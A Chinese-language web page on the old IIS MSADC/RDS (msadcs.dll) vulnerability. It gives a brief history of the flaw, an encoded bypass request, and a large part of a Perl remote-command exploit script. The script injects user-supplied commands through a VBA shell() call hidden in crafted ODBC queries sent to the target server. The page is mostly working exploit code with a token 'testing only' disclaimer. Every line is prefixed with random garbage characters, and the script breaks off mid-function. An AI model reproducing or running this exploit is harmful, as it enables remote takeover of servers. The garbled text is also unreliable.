IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
s8_NN \PMKmJX0O 涉及程序:
HxqV[|}0u Microsoft NT server
9@z|2z2\G $?A Uk 描述:
dZiWVa 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
X3=Jp'p$h Lz>{FOR 详细:
I^\bS 如果你没有时间读详细内容的话,就删除:
bb:|1D c:\Program Files\Common Files\System\Msadc\msadcs.dll
`J,~hK 有关的安全问题就没有了。
ttq< )4 -^xKG'uth 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
J!fc)h cLko 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
'SD|ObBY 关于利用ODBC远程漏洞的描述,请参看:
Y <i}"eI* Pc;
14M http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ' /<b[ 4k2c mM$ 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
yb.|7U?/x http://www.microsoft.com/security/bulletins/MS99-025faq.asp {_X1&&>8/ "O1*uwm 这里不再论述。
HYYx*CJ) [#rdfN'?U
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
eKFc
W5O H6CGc0NS+ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
qH$rvD!] 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
: )"jh` .L{+O6*c nIKT w #将下面这段保存为txt文件,然后: "perl -x 文件名"
(kNTXhAr4 M^Ay,jK! #!perl
=^AZx)Kwd #
+?txGHQq # MSADC/RDS 'usage' (aka exploit) script
GKx,6E#JM #
@P5@&G # by rain.forest.puppy
F t8h= #
iXS-EB/ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
M*@aA
XM # beta test and find errors!
QDT{Xg*I T2_#[bk*d use Socket; use Getopt::Std;
OO+#KyU getopts("e:vd:h:XR", \%args);
v4a4*rBI" #~-&&S4a.J print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
CJtjn `1}?{ud if (!defined $args{h} && !defined $args{R}) {
FITaL@{c print qq~
)Gp\_(9fc Usage: msadc.pl -h <host> { -d <delay> -X -v }
lLFBop -h <host> = host you want to scan (ip or domain)
KPe.AK,8 -d <seconds> = delay between calls, default 1 second
;Owu:} -X = dump Index Server path table, if available
'CAukk| -v = verbose
{s'_zSz -e = external dictionary file for step 5
p6l@O3 TvG:T{jwy Or a -R will resume a command session
3b[+m}UWQ D!$ =oK ~; exit;}
U\ E{-7 >A( C9_\ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
glX2L~ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
;Y&?ixx if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
V42*4hskL if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
3$y L+%i $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
@`8 B}
C if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
NITx;iC z'D{:q if (!defined $args{R}){ $ret = &has_msadc;
q]%bd[zkz die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
Fsj&/:
q ^(JbJ@m/ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
F j('l . "cmd /c ";
jz7ltoP $in=<STDIN>; chomp $in;
lR2;g:&H $command="cmd /c " . $in ;
W3/Stt$D 7b%Cl
if (defined $args{R}) {&load; exit;}
K2K6 Y@S6m@.$ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
Vg~
kpgB &try_btcustmr;
^? xJpr%) Z=[a 8CU print "\nStep 2: Trying to make our own DSN...";
)j|y.[ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
Z3~*R7G8> D2cIVx3:( print "\nStep 3: Trying known DSNs...";
q>4i0p8^ &known_dsn;
O36r
,/X C|@k+^S print "\nStep 4: Trying known .mdbs...";
4
Wd5Goe: &known_mdb;
Hz3X*G\5b ,(W98}nB if (defined $args{e}){
z\d2T%^:g( print "\nStep 5: Trying dictionary of DSN names...";
VgTI2 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
2.2a2.I1 3C[4!>| print "Sorry Charley...maybe next time?\n";
3Wxtxk._E exit;
:bDn.`KG# ZboJszNb; ##############################################################################
i*w-Q= 5T3>fw2G sub sendraw { # ripped and modded from whisker
?JTyNg4< sleep($delay); # it's a DoS on the server! At least on mine...
>d
V@9 my ($pstr)=@_;
Vzm+Ew
_ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Cj\+u\U# die("Socket problems\n");
KrG6z#)Uz if(connect(S,pack "SnA4x8",2,80,$target)){
i8@e}O I select(S); $|=1;
Y8{1?LO print $pstr; my @in=<S>;
<FT\u{9$ select(STDOUT); close(S);
#$C]0]| return @in;
$<mL2$.L~ } else { die("Can't connect...\n"); }}
LK/V]YG n$Fm~iPo, ##############################################################################
H{zuIN/.1 oxXW`C< sub make_header { # make the HTTP request
0BE^qe my $msadc=<<EOT
Z9~Wlt'? POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
[F{a-i- User-Agent: ACTIVEDATA
cNc_
n<M Host: $ip
)K3
vzX Content-Length: $clen
tg3JU\ Connection: Keep-Alive
IqKXFORiNI pv SFp-:_ ADCClientVersion:01.06
[4rMUS7-m" Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
Cfb-:e$0 ; 2-kQK9 --!ADM!ROX!YOUR!WORLD!
''Ec-b6Q- Content-Type: application/x-varg
e`1s[ ^B Content-Length: $reqlen
=u"|qD Qug'B EOT
geSo#mV ; $msadc=~s/\n/\r\n/g;
1)Bi>X return $msadc;}
'X<uG
x (k.7q~: ##############################################################################
H,` XCG S*s9?
sub make_req { # make the RDS request
tah%jRfT& my ($switch, $p1, $p2)=@_;
=Fl4tY#X my $req=""; my $t1, $t2, $query, $dsn;
h
l'k_<a* 6ng g*kE< if ($switch==1){ # this is the btcustmr.mdb query
FY*0gp $query="Select * from Customers where City=" . make_shell();
Jo+C!kc $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
bl-s0Ax- $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
Nj8)HR GFkte elsif ($switch==2){ # this is general make table query
c&(, $query="create table AZZ (B int, C varchar(10))";
Lb 4!N`l $dsn="$p1";}
P"@^'yR5WK cs;Gk: elsif ($switch==3){ # this is general exploit table query
RUh{^3;~ $query="select * from AZZ where C=" . make_shell();
y36aoKH $dsn="$p1";}
7Apbi}") " T=LHj E elsif ($switch==4){ # attempt to hork file info from index server
UF&Wgj [ $query="select path from scope()";
x:lf=DlA $dsn="Provider=MSIDXS;";}
l= S_#
]+9:i!s elsif ($switch==5){ # bad query
U5
"v1"Ec $query="select";
dsuW4^l $dsn="$p1";}
jzMGRN/67 HbVm
O]#$D $t1= make_unicode($query);
b"bj|qF~E $t2= make_unicode($dsn);
k]5L\]>y $req = "\x02\x00\x03\x00";
TY?io@ $req.= "\x08\x00" . pack ("S1", length($t1));
Ve)
:I $req.= "\x00\x00" . $t1 ;
(@ sKE $req.= "\x08\x00" . pack ("S1", length($t2));
n\9*B##
$req.= "\x00\x00" . $t2 ;
S-|$sV^cG $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
Ooy96M~_G return $req;}
6mLE-(
Z7 CFxs`C^ ##############################################################################
>i E
f|5|n>* sub make_shell { # this makes the shell() statement
&>+Z$ZD return "'|shell(\"$command\")|'";}
r :-WfDz. ]!w52kF7 ##############################################################################
3i~{x[Jc r'?&VS-Cj sub make_unicode { # quick little function to convert to unicode
t$iU|^'uV my ($in)=@_; my $out;
Fj4:_(%nG for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
1+iiiVbMH return $out;}
0X w?} R!CUR~F ##############################################################################
v*v&f!Ym&s Kn|dnq|G sub rdo_success { # checks for RDO return success (this is kludge)
]F!h~> my (@in) = @_; my $base=content_start(@in);
A???s,F_ if($in[$base]=~/multipart\/mixed/){
Ta$<#wb return 1 if( $in[$base+10]=~/^\x09\x00/ );}
I9m return 0;}
q1Mk_(4oJ 30"G%DFd ##############################################################################
+P.Ir ;ecF~-oku sub make_dsn { # this makes a DSN for us
uESHTX/[ my @drives=("c","d","e","f");
n1h+`nsf print "\nMaking DSN: ";
|lY8u~% foreach $drive (@drives) {
-tZb\4kh print "$drive: ";
K)ib{V(50 my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
#*@Yil=1 "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
'"a8<